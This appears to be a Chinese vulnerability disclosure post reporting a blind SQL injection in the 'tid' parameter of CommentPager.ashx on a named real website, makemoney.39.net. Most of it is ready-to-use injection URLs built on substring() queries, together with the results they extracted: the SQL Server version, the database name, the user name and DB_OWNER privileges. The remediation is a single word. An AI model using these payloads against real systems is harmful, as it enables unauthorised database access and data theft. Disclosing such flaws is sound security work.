39健康网某站点存在SQL注入漏洞MSSQL SQL盲注入
存在注入的站点如下:http://makemoney.39.net/
注入页面:CommentPager.ashx
注入参数:tid
正常情况:
and 1=1
and 1=2返回结果不一:
嗯,用substring()函数来进行盲注吧。
http://makemoney.39.net/CommentPager.ashx?tid=1%20and%20substring((select%20@@version),22,4)=%272005%27
返回正常,说明mssql是2005的:
接下来猜database:
http://makemoney.39.net/CommentPager.ashx?tid=1%20and%20substring((select%20db_name()),1,1)=%27A%27
返回错误
http://makemoney.39.net/CommentPager.ashx?tid=1%20and%20substring((select%20db_name()),1,1)=%27C%27
返回正常,说明数据库第一个字符是C
以此类推:得
database = Comment
试试注入user吧。
http://makemoney.39.net/CommentPager.ashx?tid=1%20and%20substring((select%20user),1,1)=%27a%27
返回错误
http://makemoney.39.net/CommentPager.ashx?tid=1%20and%20substring((select%20user),1,1)=%273%27
返回正常,以此类推得:
39_Comment
当前权限:DB_OWNER
修复方案:
过滤。